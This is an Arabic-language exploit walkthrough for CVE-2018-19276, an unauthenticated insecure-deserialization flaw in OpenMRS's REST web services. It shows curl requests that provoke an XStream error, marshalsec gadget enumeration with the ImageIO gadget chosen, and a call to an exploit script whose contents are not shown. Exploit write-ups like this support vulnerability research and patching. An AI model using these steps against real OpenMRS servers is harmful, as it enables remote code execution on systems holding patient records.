
CVE-2018-19276 - OpenMRS إلغاء تسلسل الكائنات غير الآمن - تنفيذ التعليمات البرمجية عن بُعد (RCE)
من https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
يسمح إلغاء تسلسل الكائنات غير الآمن بتنفيذ تعليمات برمجية عشوائية دون الحاجة إلى تسجيل الدخول. قيود IP على وحدة خدمات الويب لا تمنع هذا الهجوم.

اكتشفها نيكولاس سيرا، المحلل الأمني في Bishop Fox.
لنتحقق من كيفية عمل خدمات الويب REST في OpenMRS باستخدام التوثيق الرسمي:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
لنتحقق من الإصلاح:
يمكننا العثور على هذه المعلومات:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
إنهم يقومون أساسًا بتصفية Content-type لطلب POST عندما يكون XML، لذا ربما تكون XXE أو إلغاء تسلسل غير آمن 👍
لنعد التحقق من التوثيق مرة أخرى:

حسنًا، هذا رائع، ماذا يحدث إذا أرسلنا XML إلى خدمة الويب REST؟
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
يُظهر الخطأ شيئًا مثيرًا للاهتمام للغاية: xstream.XStreamMarshaller
لنجرب استخدام الأداة الرائعة marshalsec لإحداث RCE باستخدام إلغاء تسلسل Java.
لنتحقق من الـ gadget المتاحة:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
في هذه المرحلة، استخدمت البحث في GitHub على كل gadget من XStream للعثور على أي تواجد. فقط gadget ImageIO يبدو واعدًا:

لنجربها:

هذا هو!
python CVE-2018-19276.py
